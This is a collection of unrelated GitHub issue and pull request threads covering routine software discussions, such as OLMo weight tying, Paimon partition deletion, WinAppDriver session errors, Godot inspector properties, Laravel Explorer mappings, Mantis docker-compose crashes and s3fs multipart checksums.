I'm closing this PR because this repo is being archived in favor of https://github.com/aspnet/AspNetCore. If this is still something you would like to contribute, please reopen a PR on the new repo.


Clarification about weight tying mechanism in OLMo 1B: shared modules vs. shared weights

❓ The questions

whether the current method of tying weights by setting module instances to be the same is the intended behavior and if there are specific benefits to this approach.
whether it makes sense to consider an alternative implementation that handles weight tying at the weight level and not at the module level, if only for the sake of improving compatibility with the accelerate library (and any other tools that may expect weight tying to follow this pattern)

Context
I kept seeing the warning "The model weights are not tied. Please use the tie_weightsmethod before using theinfer_auto_device function" when loading the OLMo 1B model with device_map=auto and spent some time investigating where that came from:
In the tie_weights method of the OLMo model, the weights are tied by directly setting self.model.transformer.ff_out to self.model.transformer.wte. While this approach ties the modules, it also makes them the same instance, which isn't the typical expectation for weight tying (usually expected to share tensors, not entire module instances) (If I understand correctly). This causes find_tied_parameters from Hugging Face Accelerate to raise a warning—it expects to find distinct parameters that share the same tensor, not the same module reference, so under the current implementation of tie_weights, it fails to find the tied weights, triggering the warning.
e.g. the current implementation
    def tie_weights(self):
        if self.config.weight_tying:
            self.model.transformer.ff_out = self.model.transformer.wte

Leads to
from accelerate.utils.modeling import find_tied_parameters
find_tied_parameters(model)

[]

and results in the warning "The model weights are not tied. Please use the tie_weightsmethod before using theinfer_auto_device function." when loading the model with Accelerate with device_map=auto.
Whereas separately initializing ff_out and sharing only the weights:
def tie_weights(self):
    if self.config.weight_tying:
        if isinstance(self.model.transformer.wte, nn.Embedding):
            num_embeddings, embedding_dim = self.model.transformer.wte.weight.shape
            self.model.transformer.ff_out = nn.Embedding(num_embeddings, embedding_dim)
            self.model.transformer.ff_out.weight = self.model.transformer.wte.weight

hf_olmo.OLMoForCausalLM.tie_weights = tie_weights

Leads to
find_tied_parameters(model)

[['model.transformer.ff_out.weight', 'model.transformer.wte.weight']]

and removes the warning.
My questions are:

whether the current method of tying weights by setting module instances to be the same is the intended behavior and if there are specific benefits to this approach.
whether it makes sense to consider an alternative implementation that handles weight tying at the weight level and not at the module level, if only for the sake of improving compatibility with the accelerate library (and any other tools that may expect weight tying to follow this pattern)

More than happy to help contribute if you think it makes sense to make any changes based on this! See the updated tie_weights above for a starting point; this did not appear to change any behavior aside from removing the warning.
Thanks for everything! I'm enjoying working with OLMo and appreciate all of your efforts on this fantastic project.

Hi djliden, thank you for raising this concern. When weight tying is turned on, there is no self.model.transformer.ff_out module in the model. Thus, I believe our current implementation is wrong and that the fix is to either remove our tie_weights implementation altogether (if that causes no issues), or make our tie_weights no-op. @AkshitaB please correct me if I'm wrong.
Regarding why we do weight tying at the module level (using wte for both input and output) instead of weight level, @epwalsh may know more. The one issue I could imagine is that it might not go well with FSDP (Fully Sharded Data Parallel). FSDP splits up the weights in Modules of a model across multiple GPUs, in order to reduce GPU memory usage (and thus enable training at higher scales). If weights were tied at the weight level, I wouldn't be surprised if FSDP would not notice the tying and would have 2 copies of the weights sharded across the GPUs.
I am happy to review a PR fixing this issue.

When loading with from_pretrained, it looks like tie_weights is called here, which would invoke the method defined here, which is what copies the wte module.
Though from this it looks like the ff_out layer isn't used regardless? And does this mean if one were loading the model via a means other than transformers from_pretrained the ff_out would, indeed, not exist?
In other words, it looks like loading with transformers from_pretrained results in the addition of the ff_out layer, which would not be present otherwise, but it's still not consequential because it's (a) the same module as wte and (b) not used anyway because of how logits are computed when weight tying is enabled. Am I understanding that right? In which case, to your point, the fix should basically involve making sure tie_weights doesn't do anything.

Yes to all those questions, from my knowledge. Hence my suggestion to remove tie_weights or make it a no-op.

Got it, thanks for confirming my understanding. I'll look into the effects of removing tie_weights or making it a no-op.

Thank you!

Closing this since a fix has been merged. Please reopen as necessary.


[SPARK-38229][FOLLOWUP][SQL] Clean up unnecessary code for code simplification

What changes were proposed in this pull request?

Clean up unnecessary code for code simplification, see comment
Why are the changes needed?
code simplification
Does this PR introduce any user-facing change?
No
How was this patch tested?
Exist ut

Can one of the admins verify this patch?

cc @cloud-fan , and Thanks for your advice.

thanks, merging to master!


Small changes to plots and analysis

[x] launch_power_sweep.py should use ranks from AppConf
[x] Inconsistent naming of plotting script files in power_sweep
[x] remove non-standard comments from frequency map output
[x] hash inputs to frequency map agent must be numbers, not hex
[x] gen_region_summary.py does not put output files in output-dir
[x] Add error bars to freq sweep line plot
[x] frequency sweep plot should put png files in figures subdir
[x] Use better colors for profile comparison plot (not the same colors as balancer comparison)
[x] Add "monitor" to name of monitor run scripts
[x] gen scripts should not use parse_known_args()

Moved remaining tasks to #1326. #1327, #1328


Website not working on Safari/iphone

I think this issue is because regex lookbehind is not supported across all browsers, per https://stackoverflow.com/questions/51568821/works-in-chrome-but-breaks-in-safari-invalid-regular-expression-invalid-group .

ok, fix is implemented in https://github.com/ckhordiasma/pdf-bullets/pull/6 , will push changes into here later


Add !

Adding a language

[ ] The code displays "Hello World"
[ ] I have updated the readme to include the new language
[ ] I have incremented the language count in the readme
[ ] I have no association with the language
[ ] There are no copyright issues with this code

Link to programming language:

Added the hello-world program for the "!" (pronounced "not") language. It is an esoteric programming language by https://esolangs.org/wiki/User:PersonMan

Reopened because I accidentally closed the previuos one : )

You'll need to work through the checklist in the issue body


[Bug] remove escape character PARTITION  error

Search before asking

[X] I searched in the issues and found nothing similar.

Paimon version
0.8.2
Compute Engine
flink 1.17
Minimal reproduce step
SHOW PARTITIONS order_detail;
|    dt=20220616 |
|    dt=20231022 |
|    dt=20230416 |
|    dt=20240104 |
|    dt=20240406 |
|    dt=20
22041 |
|    dt=20231029 |
|    dt=20221123 |
|    dt=20220930 |
|    dt=20230407 |
oss file path name is:
dt=20%0A22041
ALTER TABLE order_detail DROP PARTITION (dt = '20%0A22041');
[ERROR] Could not execute SQL statement. Reason:
org.apache.flink.table.catalog.exceptions.PartitionNotExistException: Partition CatalogPartitionSpec{{dt=20%0A22041}} of table zma_order_new.order_detail in catalog demo does not exist.
What doesn't meet your expectations?
i want remove 20%0A22041
Anything else?
no
Are you willing to submit a PR?

[ ] I'm willing to submit a PR!

Flink SQL> ALTER TABLE ods_zm_order_detail DROP PARTITION (dt = '20

22041')
;
[INFO] Execute statement succeed.

Flink SQL> SHOW PARTITIONS ods_zm_order_detail;
+----------------+
| partition name |
+----------------+
This way, the deletion can be successful


CLI - docs init command

Closes #1650
This PR introduces the docs CLI command with its init subcommand.
The init command initializes your Wrap's docs manifest and a directory with a sample readme file.

This looks really great!
I have a request: could you add a test for the new command to the cli-js package?
Also, I think should we remove the polywrap docgen command. But it makes sense to do that in a separate PR, so that this one remains easy to review. I can create the PR to remove it if you agree. Or you can do it in this PR or another, however you'd like. What do you think?

Both good ideas, will get to working on the request as part of this PR.


Update audio-conferencing-with-direct-routing-for-gcch-and-dod.md

Adding additional warning text to prevent issues with dial pad not showing up for DR calling users.

@JohanFreelancer9 Copy editing is needed for this PR. Thanks.

@cichur PR has been copyedited and is ready for final review, could you please check and merge? Thanks!


Unable to create a new remote session. Please check the server log for more details. Original error: Failed to locate opened application window with appId: C:\Users\root\AppData\Local\Programs\Cisco Spark\CiscoCollabHost.exe, and processId: 2072 (WARNING: The server did not provide any stacktrace information)

I started the Winapp server using process builder.
String winAppDriver = "C:\Program Files (x86)\Windows Application Driver\WinAppDriver.exe";
ProcessBuilder builder = new ProcessBuilder(winAppDriver).inheritIO();
try {
process = builder.start();
LOGGER.info("Process builder is started: ");} catch (IOException e) {
LOGGER.error("Session: " + session + ". WinAppDriver Exception: " + e.getMessage());
return "void";
}
Here is my windowsdriver connection method
private String openWindowsDriver(WebSocketSession session, String processId) {
LOGGER.info("Session: " + session + ". Open Windows Driver");
System.setProperty("java.awt.headless", "false");
try {
Thread.sleep(TapControllerAppInitializer.WAITING_TIME_1SEC);
} catch (InterruptedException e1) {
}
try {
if (WebexSession != null && WebexSession.getSessionId() == null) {
LOGGER.info("Entered in the if block as session is not null and session ID is null.");
WebexSession.quit();
WebexSession = null;
}
try {
LOGGER.info("Current time Stamp before starting the WebexSession is: " + Utilities.getCurrentUTCTimeStamp());
String username = System.getProperty("user.name");
LOGGER.info("System  Login User: " + username);
String webexUrl = "C:\Users\" + username + "\AppData\Local\Programs\Cisco Spark\CiscoCollabHost.exe";
LOGGER.info("The application path has been set.");
DesiredCapabilities capabilities = new DesiredCapabilities();
capabilities.setCapability("app", webexUrl);
LOGGER.info("Capabilities are set."+webexUrl);
//Need to print time stamp before and after connection to Winapp driver
LOGGER.info("Current time Stamp before Connecting to Webex is: " + Utilities.getCurrentUTCTimeStamp());
WebexClientActionExecuter.WebexSession = new WindowsDriver(new URL("http://<IP_ADDRESS>:4723/"), capabilities);
LOGGER.info("Webex Session is created: "+WebexClientActionExecuter.WebexSession.getSessionId());
} catch (Exception e1) {
                    }

Once i run process builder and connect to winapp session, i am getting below error.
Output:
Session: StandardWebSocketSession[id=0, uri=null]. Open Windows Driver
The application path has been set.
Capabilities are set.C:\Users\root\AppData\Local\Programs\Cisco Spark\CiscoCollabHost.exe
Exception received-Unable to create a new remote session. Please check the server log for more details. Original error: Failed to locate opened application window with appId: C:\Users\root\AppData\Local\Programs\Cisco Spark\CiscoCollabHost.exe, and processId: 2072 (WARNING: The server did not provide any stacktrace information)
Please help!
I am getting this issue continuously

You need to create a root session an create another session on the opened window.

@anunay1 Can i get some pseudo code please.
Thanks so much in advance

What is the language binding that you are using?

Java

Check https://github.com/anunay1/SampleJava
You will have the code in the exception block.

Thank you  @anunay1
Will try this approach.

I might be a timing issue. If possible please try to share any screen recording

I had given some time before switching to the application.
Now i don't see this issue.
Thanks for you help! @anunay1


After migrating, restore testimonials

/* manually set: testimonial
> db.software.find({testimonial: { $exists: true, $ne: '' }}).map(s=>s.id + " " + s.testimonial + " ----- " + s.testimonialBy)
[
	"case-law-app It’s quite amazing to see how, thanks to this tool, a student can, in some ways, outperform the expert. ----- Gijs van Dijck, Professor of Private Law, Maastricht University",
	"fastmlc \"A very nice tool to cluster and visualize sequences. The work is well presented, the web application easy to use and the manuscript well written. \" ----- 'Anonymous reviewer'",
	"magma My group has had an excellent run of almost 1 year now running MAGMa as part of our cluster-based compound ID workflow - it is really a great program. ----- Lee Ferguson, Department of Civil & Environmental Engineering, Duke University",
	"twinl-website-code Twiqs.nl biedt prachtige mogelijkheden voor onderzoeksvragen in de les ----- Jan Lepeltak: http://ictnieuws.nl/columns/column-twinl-twitter-de-les/",
	"twiqs.nl Twiqs.nl biedt prachtige mogelijkheden voor onderzoeksvragen in de les ----- Jan Lepeltak, consultant Educational Technology",
	"wadpac-ggir Thank you @vtvanhees for your work and support on the #GGIRpackage ! ----- Damien Bachasson, Institute of Myology, Paris"
]
*/

Restore by running testimonials.js as:
cat backend/data/testimonials.js | docker exec -i rsd-mongo mongo rsd


Clean up _validate_property

-Made it multilevel (no need to keep track of parent)
-Replaced _hide_script_from_inspector by _validate_property, removed functionality from inspector.
Supersedes #34474

As discussed in #56530, the check added in #55530 could likely also be removed.

As discussed in #56530, the check added in #55530 could likely also be removed.

I don't think that check can be removed or replaced with _validate_property because the problem in that case is that we have two script properties and we only want to hide one (not both).
As for #34474, MultiNodeEdit should hide the script property since it uses scripts so right now it still shows 2 properties in the inspector.
I'm also seeing a script property in the inspector for AnimationTrackKeyEdit which is supposed to hide it so I don't think this is working, I guess _validate_property is not being called, not sure why.

As for #34474, MultiNodeEdit should hide the script property since it uses scripts so right now it still shows 2 properties in the inspector.

IMO this could be changed to not special case things in MultiNodeEdit. It should just show singular Script like for all other properties.

As for #34474, MultiNodeEdit should hide the script property since it uses scripts so right now it still shows 2 properties in the inspector.

IMO this could be changed to not special case things in MultiNodeEdit. It should just show singular Script like for all other properties.

Setting script is intercepted by Object::set:
https://github.com/godotengine/godot/blob/feb34dfb2e4ed748f9ea672e24cff69d1bfe1cd1/core/object/object.cpp#L416-L421
If the property is script it calls set_script and never reaches setv which would call the _set implementation in MultiNodeEdit. This sets the script for the active node which would set the script property of the MultiNodeEdit node, instead of setting the script property of all the selected nodes.
The MultiNodeEdit node itself is just a fake to act on behalf of multiple selected nodes, so we don't want to set any of its properties, its _set implementation just forwards this action to the selected nodes, but since the script property is intercepted by Object::set we can't modify this behavior from MultiNodeEdit unless we use a different name for the property.

Can we at least replace _validate_property with a multilevel call, and then discuss removing the hack? I can revive this for you, @reduz. Accidentally, I worked on this myself today and this needs a rebase anyway. So I can make a new PR that only makes it a ML-call, and then a new PR can be made regarding the hack.
Sounds good?

I've opened https://github.com/godotengine/godot/pull/64339 for the multilevel call part. The removal of the hack should be discussed separately, evidently. Can be patched in a follow-up.


Add Categories to Product Page

Value Proposition
As a User
I want to have different categories
So that I can find my product in a faster/easier way
Description

Acceptance Criteria

[ ] there are three different buttons on the Product Page
[ ] by clicking each button only the products of each category should be displayed
[ ] the user should stay on the product page

Tasks

[ ] create new feature branch ("addCategories")
[ ] add three different buttons to the Product Page (coffee/tea/all)
[ ] add filter.function to 'coffee + tea'-button
[ ] add filter.function(reset) to 'all'-button

Complexity
M

Hey,
I would rephrase the value proposition a bit. The feature you wanna implement is a filter for the user:
As a user
I want to filter the products by different categories
so that I can find the product I am looking for faster.
Please try to phrase your acceptance criteria without "should", "could" and as specific as possible, e.g.:

The user can filter by two different categories: tea or coffee
By clicking on a filter button only products matching the selected category are shown
By clicking on the "show all" button all products are displayed
When the user opens the app no filter is selected and all products are shown

Have a thought about the last point 🙂 you could also have by default the category "show all" selected.

Looks good now


Yellow screen

Tested versions
I am new I don't know
System information
Android 10 - Godot 4.2.1.stable
Issue description
I am new in Godot I use the mobile version I am using otg to use mouse it easy to click the buttons but when I try to add nodes it showing me yellow screen if I can use mouse it well help me a lot is there any solution ?
https://github.com/godotengine/godot/assets/166066790/faf80d89-7c40-4ad2-b293-94b20326c8b3
Steps to reproduce
?
Minimal reproduction project (MRP)
?

@Jubrazanime Which Android device model are you using? Does this occur when you click with the mouse in other apps?

Closing due to lack of response, if you provide the requested information this can be reopened


Error when importing template "UBQT UNIFI SNMP V1 HN"

Hi,
When I try to import the template "UBQT UNIFI SNMP V1 HN" in my Zabbix 6.4, I face this error and I cannot import it:
Invalid parameter "/1/request_method": value must be 0.

I've tried different versions 6.2, 6.0 and 5.4 getting the same error message.
Any advice?
Thanks!

I have the same problem.
Zabbix: 6.4

The same problem with another template, downloaded from the same version of Zabbix 6.4.1.

Hello, could someone solve it?

I ended up commenting out all those lines and it worked... but that's a workaround, not a good solution.


enhancement Don't write to table_statistics when create sync analyze job anymore

Don't write to table_statistics when create sync analyze job anymore since it's meaningless
Capture exceptions when creating each system analyze job to avoid the failure of creation of all automatic collection jobs due to a single job creation failure.
Mark auto triggered period job's job type as system

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


Unclosed quote in Lambda expressions section

The "can be read as" gloss in the Lambda expressions section is missing a closing ".

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: b83658b4-2e2f-f617-174d-6741575beca3
Version Independent ID: 09fd3e8d-d0e2-bfe9-ebdf-24b7c2b5db9e
Content: Welcome back to C++ (Modern C++)
Content Source: docs/cpp/welcome-back-to-cpp-modern-cpp.md
Product: visual-cpp
Technology: cpp-language
GitHub Login: @mikeblome
Microsoft Alias: mblome

@agashlin Thanks, an update should be visible now.


Expose method to destroy sessions and remove player from sessions

#8

merged in master.

@antmendoza thanks for this contribution! I will close the issue as well.


S3 and SQS missing from network diagram

Hi Scott
When I collect data of my AWS account I see json file created for S3 and SQS but after executing prepare command I do not see S3 and SQS in my AWS architecture diagram being generated by cloudmapper. Also my S3 buckets are not public so as to create secure architecture. Can you please help with commands that I can use in order to make components visible?
Appreciate your help and building such a great tool.

S3 and SQS are only displayed if you have a VPC Endpoint for those services.

Only resources with Security Groups are currently within scope for the network visualizations.  I think the best solution to maintain the existing scope of the project, and reduce confusion, is to label these end-points as being VPC endpoints, so instead of an icon of an S3 bucket, it would some generic VPC end-point icon.  I know many would prefer that I expand the scope to somehow show the actual S3 buckets, but I don't personally have the time or interest to add that.


Keyboard mapping can take effect based on the input of different devices.

Description of the new feature / enhancement
Keyboard mapping can take effect based on the input of different devices.
Scenario when this would be used?
Connecting a laptop to the dock , using keyboard;
leaving the dock， using laptop buildin keyboard;
switch to no mapping，when somebody else using your laptop
Supporting information
No response

/dup #18350

This feature would be particularly useful in combination with multiple keymapping profiles (#1881)

trying to parse this,
Is this

based on where the input came from, do a certain remap profile
based on the devices connected, set to a certain remap profile
just be able to set a remap profile

/needifno

/needinfo

To bad this Ticket is closed, I would love to see similar functionality to: Karabiner-Elements
Here you got a list of all you HID (ever detected) and you can assign different key mappings per HID:
https://karabiner-elements.pqrs.org/docs/manual/configuration/configure-simple-modifications/
@crutkas This is how this feature should work in my opinion.

its needed, im from Karabiner-Elements too!

I opened a new request @HaiGe120 https://github.com/microsoft/PowerToys/issues/27159


Related Model Collections - Mappable Data and ElasticSearch Datatypes

Hello
Thank you for the hardwork on this package it is exactly what I was hoping to find to get an elastic based index up for my app.
I have a document with attached models, that could be a HasOne or HasMany relationship. I want to include all the attached entities as part of the document to be indexed. I was hoping I could just define for each model the mappableAs function and as the indexing was taking place, it would jump through each of the relationships, get the mapped data and field types as defined and map those fields accordingly.
That doesn't seem to happening. When I set up the nested field type, it does include the model I want, but its not mapping the field types. I did customize the toSearchableArray method on a child model, and even though I only returned a single field, the request to index is getting all the related model's fields. So, it doesn't seem to be referencing mappableAs or toSearchableArray when navigating through the root entity attach the nested models.
Example code of how I have things configured:
Candidate.php
class Candidate extends Model implements HasAttachedSkills, Explored
{
   /**
     * @return HasMany
     */
    public function candidateSkills(): HasMany
    {
        return $this->hasMany(
            CandidateHasSkill::class,
            'candidate_id',
            'id'
        )->whereNull('candidate_has_skills.deleted_at')
            ->leftJoin('skills', 'skills.id', '=', 'candidate_has_skills.skill_id')
            ->whereNull('skills.deleted_at');
    }

    public function mappableAs(): array
    {
        return [
            'id' => 'keyword',
               // how do I define the nested object's field type mappings? it doesn't seem to be reading off CandidateHasSkill->mappableAs()
            'candidate_skills' => 'nested' // this would be a collection of CandidateHasSkill

        ];
    }

    /**
     * @return string
     */
    public function searchableAs(): string
    {
        return 'candidates_index'; // this is the only real document I want to index, the other models are attached to this
    }
}

CandidateHasSkill.php
class CandidateHasSkill extends Model implements Explored
{
    /**
     * @return BelongsTo
     */
    public function skill() : BelongsTo
    {
        return $this->belongsTo(Skill::class, 'skill_id', 'id');
    }

  /**
     * Laravel model fields to ElasticSearch data type mappings.
     * @return string[]
     */
    public function mappableAs(): array
    {
        return [
            'id' => 'keyword',
            'skill_id' => 'keyword',
            'candidate_id' => 'keyword',
            'skill' => 'nested'
        ];
    }

     /**
     * Get the indexable data array for the model.
     *
     * @return array<string, mixed>
     */
    public function toSearchableArray(): array
    {
        $array = $this->toArray();

        return [
            'id' => $array['id'] // should only be returning the id for this model, but entire model and attached fields are sent to Elastic.
        ];
    }
}

Skill.php
class Skill extends Model implements Explored
{
    use HasTimestamps;
    use SoftDeletes;
    use TraitAuthorship;
    use Searchable;

   /**
     * Laravel model fields to ElasticSearch data type mappings.
     * @return string[]
     */
    public function mappableAs(): array
    {
        return [
            'id' => 'keyword',
            'name' => 'text',
            'label' => 'text'
        ];
    }

      /**
     * Get the indexable data array for the model.
     *
     * @return array<string, mixed>
     */
    public function toSearchableArray(): array
    {
        $array = $this->toArray();

        return [
            'id' => $array['id'] // should only be returning the id for this model, but entire model and attached fields are sent to Elastic.
        ];
    }
}

I guess my specific questions / issues are:

Is there a way to customize the attached model properties?
Can that way be within the model its self, or do I have to do it all from the root model?
I assume if I were to customize using either prepare or toSearchableArray on my root document array, I might be able to achieve what I'm wanting, but I was hoping to have the concerns split across the model classes.
If the only way to do it is on the root document, how would that look for say a collection vs a single field?
How do I define the nested object's property field type mappings? I have defined it on the model but on the root object I just do the nested type.

Small followup, I did confirm I could control the mapping from the root model:
/**
     * Get the indexable data array for the model.
     *
     * @return array<string, mixed>
     */
    public function toSearchableArray(): array
    {
        $array = $this->toArray();

        $array['candidate_skills'] = $this->candidateSkills->map(function ($item) {
            return $item->toSearchableArray();
        });

        return $array;
    }

Its not quite as elegant as I'd like but I recognize that might be a scout limitation. Still if there is a way to do it more per-model rather than the root model I'd love to know it.

Thank you for the elaborate description, really! 👏
I dove into the source and this is the culprit:
https://github.com/Jeroen-G/Explorer/blob/master/src%2FApplication%2FOperations%2FBulk%2FBulkUpdateOperation.php#L62
It does nothing to see what happens in the root, it expects a plain array in return. Apparently you are the first to encounter this or be bothered by it😁
Unless you know of a smart solution I think you will have to do everything as you showed in the root toSearchableArray.

Thanks @Jeroen-G  for confirming I wasn't missing anything!
Okay so some follow up thoughts then. I guess that explains why it doesn't work. For now I've gone ahead and set up my root document to call the toSearchableArray on child relations as needed.
I did want to follow up on one thing though: the nested object field mappings are also not being used to create the index in Elastic.
For example, in the code I give above with something like a Candidate, CandidateHasSkill, and Skill object, In the Candidate model, I can use mappableAs to define the field types I want in Elastic. I then also define candidate_has_skill as a nested field.
How do tell Elastic what the field types for candidate_has_skill are to be? it is doing automatically right now and getting it a bit wrong. For example its using integer or long for IDs when per Elastic's docs it really should be keyword.
https://www.elastic.co/guide/en/elasticsearch/reference/current/keyword.html
Is there a way to define a nested object's field mappings?

There is a bit on nested mappings here: https://jeroen-g.github.io/Explorer/mapping.html which might help you!
I think this could work:
return [
    'id' => 'keyword',
    'candidate_skills' => [
        'name' => 'keyword'
    ]
];


Crashing containers following official docker-compose getting started guide

Summary
Hey folks. I'm encountering crashing containers while following the official docker-compose guide getting started guide:
$ mkdir mantis
$ cd mantis
$ wget https://raw.githubusercontent.com/Netflix/mantis/master/docker-compose.yml
$ docker-compose -f docker-compose.yml up

I can see logs showing that mantisagent, mantismaster, and mantisapi all exit with non-zero status codes (in that order):
mantis-compose-mantisagent-1 exited with code 2
mantis-compose-mantismaster-1 exited with code 1
mantis-compose-mantisapi-1 exited with code 1

I'm running this on OSX Sonoma (aarch64), but have been able to reproduce on Linux (amd64) as well.
Details
Right before the crash of the agent and the master, I see the following log line from ZooKeeper:
mantis-compose-zookeeper-1         | 2023-12-13 01:40:04,582 [myid:] - WARN  [NIOServerCxn.Factory:<IP_ADDRESS>/<IP_ADDRESS>:2181:ZooKeeperServer@675] - Received packet at server of unknown type 19

Other potential culprit logs (there are too many to dump all of them here) include:
mantis-compose-mantisagent-1       | 2023-12-13 01:40:03 ERROR AgentV2Main:114 - Unexpected error: java.lang.IllegalStateException: Expected the service TaskExecutorStarter [FAILED] to be RUNNING, but the service has FAILED

mantis-compose-mantisagent-1       | Caused by: io.mantisrx.shaded.org.apache.zookeeper.KeeperException$UnimplementedException: KeeperErrorCode = Unimplemented for /mantis/master

mantis-compose-mantismaster-1      | 2023-12-13 01:40:04 ERROR MasterMain:269 - caught exception on Mantis Master initialization
mantis-compose-mantismaster-1      | java.lang.RuntimeException: java.lang.IllegalStateException: Expected the service ZookeeperMasterMonitor [FAILED] to be RUNNING, but the service has FAILED

mantis-compose-mantismaster-1      | Caused by: io.mantisrx.shaded.org.apache.zookeeper.KeeperException$UnimplementedException: KeeperErrorCode = Unimplemented for /mantis/master

After encountering this thread, I decided to try bumping the ZooKeeper version to something more recent (specifically "jplock/zookeeper:3.5.5"), and that seems to have resolved the issue. I'll be following up with a PR to bump the docker-compose file, at which point I believe we can close this issue.

Hello, we have moved to using Helm for running containers. You can follow the README in this repo:
https://github.com/Netflix/mantis-helm
It should start all the necessary containers in Kubernetes.

Sweet, thanks for sharing the preferred approach @calvin681.
Does that imply we don't want the docker-compose file fixed?
In that case, should we delete it and update the getting started guide to point to mantis-helm instead?

@calvin681: Separately, is there a chance that my issues building from source (https://github.com/Netflix/mantis/issues/604) are related to the fact that developers build using some special method that's also out of date with the official docs?

Yes, we should delete docker compose and update the docs.
We still use gradle to build, see this line in our github action: https://github.com/Netflix/mantis/blob/master/.github/workflows/nebula-ci.yml#L39
If that's failing, then it's likely a bug.

How about we keep this ticket open until we fix up the docs. I should have an opportunity to go through the helm process later this week, and it shouldn't be that much extra work to fix up the docs at the same time.


transactions request return txs that is out of from-to blocks range

I just fiddle with the api to get transactions of given block-range, but it alway return all Txs which is not my expected.
After hours countless retries, still unable to found why it do work.
Here is my account and run log  with debug option on.
GET https://cardano-preview.blockfrost.io/api/v0/addresses/addr_test1vqp8q8r6090emxz07zx5mycznazfknqrxuzcz7h2uk6ss2gqrqjau/transactions?page=1&count=100&order=asc&from=141117&to=141119
[
  {
    tx_hash: 'ee2328023bd1cfca8fc3c03e8bba448a1026c5bc6e1a4e7afb1f7ff7bb43b2af',
    tx_index: 7,
    block_height: 140963,       // this should not return as it not fall into "from=141117&to=141119" range
    block_time:<PHONE_NUMBER>
  },
  {
    tx_hash: '087cc806c3869d80b420fa05a8967ae6dd58373a4c554c526542fbb7b9f54fb9',
    tx_index: 4,
    block_height: 141085,     // this should not return as it not fall into "from=141117&to=141119" range
    block_time:<PHONE_NUMBER>
  },
  {
    tx_hash: '33f532747084d1392fa8a0154ec5ed3e8015c52c35f9b4a90bb750c3cb137a30',
    tx_index: 8,
    block_height: 142129,    // this should not return as it not fall into "from=141117&to=141119" range
    block_time:<PHONE_NUMBER>
  }
]

I suspect that maybe I missed something , it is not likely the bug of BlockFrost.
Can anyone point me out?
Thanks.

Hi @code-brewer!
What version of the SDK are you using? Could you provide code example?
It seems I cannot reproduce it, code below returns an empty array.
import { BlockFrostAPI } from '@blockfrost/blockfrost-js';

async function run() {
  const API = new BlockFrostAPI({
    projectId: 'preview...',
  });

  try {
    const txs = await API.addressesTransactions(
      'addr_test1vqp8q8r6090emxz07zx5mycznazfknqrxuzcz7h2uk6ss2gqrqjau',
      undefined,
      { from: '141117', to: '141119' },
    );
    console.log('txs', txs);
  } catch (err) {
    console.log('error', err);
  }
}

run();

@mmahut  Thanks for your reply. I have try your approach and got the same expected result as your.
Maybe the cache caused get me wrong data. Because in my initial experiment,  there are many full range queries on same address before the  "from=141085&to=141119" query.
I'm doing more test and will feedback later.

@slowbackspace  Appreciates your suggestion. I got some clues and just digging the root out.

Can not reproduce now. It actually puzzled me for two days.
Any way, glad to see my testing move forward.
Thanks.

@code-brewer That's great! I'll close this issue. if you experience any problem don't hesitate to open another one :)


Support hx-target-XXX ?

Hello Egil, do you have any plans to support this https://htmx.org/extensions/response-targets/ ?

Hi @egil,
I got this working in the demo app with:
:one:
Adding
builder.AddMarkupContent(2, @"");

to HtmxHeadOutlet.
Note that just adding the script in my main app:
<!DOCTYPE html>

    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <base href="/" />
    <link rel="stylesheet" href="bootstrap/bootstrap.min.css" />
    <link rel="stylesheet" href="app.css" />
    <link rel="stylesheet" href="MinimalHtmxorApp.styles.css" />
    <link rel="icon" type="image/png" href="favicon.png" />
    <HtmxHeadOutlet UseEmbeddedHtmx="false" />


use pointer receiver in mocked clientv3.KV to avoid passing lock by value

Signed-off-by: Congrool<EMAIL_ADDRESS>
What type of PR is this?
/kind bug
What this PR does / why we need it:
golangci-lint reports that
Error: copylocks: Put passes lock by value: github.com/openyurtio/openyurt/pkg/yurthub/storage/etcd/mock.KV contains github.com/stretchr/testify/mock.Mock contains sync.Mutex (govet)

This pr will solve the problem.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:

Does this PR introduce a user-facing change?

other Note

All checks in CI Workflow are expected to pass.


告警消息发送飞书机器人模版问题

版本： ksp v3.2.1    nm: v2.0.1

receiver:

template:

麻烦看下是什么问题。哪里要修改吗？

@wanjunlei The new version fixed this?

Firstly, please confirm the version of the Notification Manager webhook.
kubectl get nm notification-manager -o jsonpath='{.spec.image}'

This bug had fixed in v2.0.1.

@bubbyqi There are still some problems here, you can use the full name of the template first, I will fix it as soon as possible.

soon

thanks for your reply,  can you help me, i am new to it,  where to change to the full name? what's the full name?

@wanjunlei

kubectl edit nr global-receiver
Change the spec.feishu.template to "{{ template "nm.feishu.texts" . }}"

kubectl edit nr global-receiver
Change the spec.feishu.template to "{{ template "nm.feishu.texts" . }}"

@wanjunlei
like this?  save and error

use single quotes

use single quotes

@wanjunlei  cool, thanks , it's ok now.
another help, how to hack to zh-cn?

First, install the Chinese simple language package.
kubectl apply -f https://github.com/kubesphere/notification-manager/releases/download/v2.0.1/zh-cn.yaml

Then follow this.
https://github.com/kubesphere/notification-manager/blob/master/docs/template.md#multilingual-support

First, install the Chinese simple language package.
kubectl apply -f https://github.com/kubesphere/notification-manager/releases/download/v2.0.1/zh-cn.yaml

Then follow this.
https://github.com/kubesphere/notification-manager/blob/master/docs/template.md#multilingual-support

@wanjunlei  get, thank your help, i will try.


English alternative?

Is there an English alternative of this library?

This project has no English documentation, but it's easy to use and the api is English friendly. You can translate the doc to English using browser's translate plugin.

look like no maintenance


Checksum failing with Multipart Uploads

When sending multi-part uploads with a S3 Integrity Checksum, it fails with an error indicating not all parts have the checksum enabled.
I was able to enable ChecksumAlgorithm by adding a s3_additional_kwargs to the S3FileSystem initialisation. ex:
s3 = s3fs.S3FileSystem(key = access_key, secret = secret_key, s3_additional_kwargs = {"ChecksumAlgorithm": "SHA256"})

When sending a larger file using Multi-Part Uploads, it yields the following trace.
Traceback (most recent call last):
  File "/home/airflow/.local/lib/python3.9/site-packages/s3fs/core.py", line 112, in _error_wrapper
    return await func(*args, **kwargs)
  File "/home/airflow/.local/lib/python3.9/site-packages/aiobotocore/client.py", line 358, in _make_api_call
    raise error_class(parsed_response, operation_name)
